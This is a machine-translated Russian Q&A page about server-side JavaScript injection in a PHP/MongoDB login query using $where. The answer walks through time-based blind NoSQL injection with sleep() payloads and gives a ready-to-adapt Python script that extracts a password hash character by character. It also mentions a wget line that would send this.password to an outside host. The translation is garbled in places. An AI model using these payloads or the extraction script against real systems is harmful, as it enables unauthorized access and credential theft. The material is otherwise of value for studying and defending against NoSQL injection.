2016-10-24 2 views
0

У меня есть MongoDB запрос, как это:слепой mongodb serveride инъекции?

$cur = $db->users->findOne(array('$where' => "this.username == '$username'")); 

А потом я проверить безопасность пароля, как это:

if($cur == NULL) { // Login not successful 
    $errors[] = "Invalid user."; 
    } else if($cur['password'] != $password) { // Login not successful 
    $errors[] = "Invalid password."; 
    } else { // Login successful 
    $user = $cur; 
    } 

Я думаю, если его уязвимым к серверной стороне яваскрипта инъекции при использовании GET для получите значение $username.

Я исследовал немного и обнаружил, что можно использовать что-то вроде этого:

?username=admin';tojsononeline(this.password) OR 
?username=admin’;[injected code]var foo=’bar 

Есть ли каким-то образом, чтобы получить значение пароля с помощью инъекции кода поместить внутри username параметра GET?

ответ

2

Я знаю, что это опоздало на 8 месяцев, но в надежде, что я могу помочь другим хакерам, я собираюсь ответить и ответить.

Во-первых, я хотел бы сказать, что я точно знаю, над чем вы работали, и это было весело. Я знаком с классическими инъекциями SQL, но у меня не было никакого воздействия на NoSQL, пока вы не столкнулись с этими проблемами.

Ваш ответ слепой SQL-инъекции. Er .... blind NoSQL injection. Если вы не знаете об этом, пожалуйста, изучите немного, прежде чем я испортил вам удовольствие.

С помощью стандартной инъекции SQL вы сможете вставлять/обновлять/удалять/выбирать/и т. Д. на то, что вы вводили, и иметь возможность увидеть какую-то ошибку или результат базы данных. Это будет выплевываться на странице, и вы будете счастливым хакером.

С помощью скрытой инъекции SQL вы не получите эту роскошь. Конечно, вы можете выбрать больше записей, чем предполагалось, но вы не получите фактических результатов, возвращенных вам. Это то, что происходит в вашей конкретной проблеме. Данные не отображаются на странице, но : используется для логики входа в систему.

Итак, как мы можем определить, что такое пароль? Короткий ответ: вы не можете.

НО, если нам будет сложно с нашими запросами, мы сможем использовать боковой канал, чтобы получить то, что хотим. Например, во втором примере вы говорите, что можете вводить некоторый код и запускаться в соединении MongoDB. (еще раз, я не знаю правильной терминологии здесь) Ну, какие виды кода? Все юридические JavaScript? Острота. Какой материал JavaScript доступен для экземпляра MongoDB?

Когда я впервые выяснил, что могу запустить действительный JS в этом вызове, я подумал: «Может быть, есть удаленная команда с функцией« run »от MongoDB ...« К сожалению, я не смог этого сделать. Если бы я был в состоянии сделать это, я мог бы сделать run('wget', 'http://example.com:1337/'+this.password), который должен сделать простой запрос на получение с ресурсом, являющимся паролем, который я хотел извлечь. Но по какой-либо причине (вы знаете, убедившись, что хакеры не могут фактически сломать игру) Я не смог этого сделать.

Так что я может запустить код, но я не могу просто сделать простой звонок и получить пароль. Черт. Что я могу сделать?

Ну, я могу использовать переменную this this.password, как и любой другой.Однако я не могу делать дополнительные подключения. Возможно, я мог бы запросить эту переменную на куски и сделать что-то заметное, исходя из значения этих частей.

Надеюсь, вы уже читали о слепых SQL-инъекциях. Если вы этого не сделали, пожалуйста, прочитайте, чтобы вы могли понять, о чем я говорю, и не обманывать себя от удовольствия. ;)

С помощью скрытой инъекции SQL вы можете задать логические вопросы. Например, вы могли бы сказать: «Если первым символом пароля является« a », тогда сделайте что-нибудь». Иногда вы можете получить «да» или «нет», напечатанные на странице, на которую вы атакуете, но не делайте ставку на это. Когда вы не можете, вы обычно можете получить , чтобы получить другую сумму времени, чтобы ответить. В нашем случае JavaScript имеет встроенную функцию sleep. Наш боковой канал - время отклика.

Итак, первое, что я решил сделать, это узнать длину пароля. К счастью, все строки JavaScript являются объектами, и они имеют свойство длины так что-то вроде ....

if(this.password.length==1){sleep(10000);} 

... сделает сайт длиться вечно, чтобы ответить, пока условие истинно (Подсказка:.. это айн t один символ длинный) Это был отличным показателем.

Как только я понял длину, я сделал дикое предположение, основанное на этой длине. Это не слишком большой прыжок, и это сработало, поэтому я не думаю, что это было так далеко. Во всяком случае, это 32 символа ... что еще 32 символа? Хэш. Это должен быть какой-то хэш, который я вытаскиваю, а не какой-нибудь простой способ угадать пароль, например pokemon или что-то еще. (ПРИМЕЧАНИЕ. Код, представленный в вопросе, не имеет хеш-входное значение во-первых, он просто использует все, что предоставлено пользователем. Создатель вызова на самом деле не имеет хэш-паролей [он хранит их в виде обычного текста], а просто использовал случайный хеш чтобы сделать это трудно догадаться - и плохо хранится - пароль.)

Итак, имея это в виду, это позволило мне сузить мой характер. Вместо того, чтобы пробовать все 255 значений ASCII для каждого байта 32-символьного пароля, я смог просто попытаться угадать [a-f0-9], что значительно меньше стога сена.

Так что теперь я хотел бы задать такие вопросы ...

if(this.password[0]=="a"){sleep(100000); 

... и что бы сказать мне, если первый символ был «».

Продолжить таким образом, и вы получите пароль в течение нескольких минут. Я скажу, что делать это вручную, мучительно. Вот почему все наши хакеры тоже должны быть кодовыми.

Я знаю, что это испортит веселье и даст ответ, но я не думаю, что нарушаю какие-либо правила, если я отдам свой код для этого. Итак, без дальнейших церемоний, я дам вам .... blind.py:

#!/usr/bin/env python 

from urllib import request as ureq 
import socket, time 

charset = "abcdef" 
pass_len = 32 
answer = "" 

url_template = '''http://example.com/?action=login&username=blahblah%27;if(*****QUESTION*****){{sleep(4000);}}%20var%20foo=%27bar&pasword=blahblah''' 

while len(answer) < pass_len: 
    for c in charset: 
     try: 
      #print('''Sending: {}'''.format(url_template.format(len(answer), c))) 
      ureq.urlopen(url_template.format(len(answer), c), timeout=2) 
     except socket.timeout: 
      answer += c 
      time.sleep(3) 
      print('''\033[92m[+]\033[0m Got another char, '\033[31m{}\033[0m'! Current pass: \033[31m{}\033[0m'''.format(c, answer)) 
      break 

print('''\033[92m[!]\033[0m Final answer: \033[31m{}\033[0m'''.format(answer)) 

(Edit: Обратите внимание, что все, что глупые «\ 033 [92m» рода вещи есть последовательности только терминальные эвакуации, которые позволяют я хочу, чтобы цветной код выводил в вашем терминале.Я просто выбрал цвета, которые выглядели хорошо на моей цветовой гамме. Они не нужны и могут быть безопасно удалены, если вы не испортите шаблон строки. См. строки формата python для больше информации о том, как работают шаблоны.)

Теперь вы заметите, что вы не можете просто скопировать и вставить его и запустить. Это не сработает. Вам нужно изменить пару вещей (домен и вопрос).Но если вы немного об этом подумаете, я сохранил вам время кодирования автоматизированного сценария.

Счастливый взлом.

Похожие чтения:

https://dl.packetstormsecurity.net/papers/general/timebased-nosql.txt

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf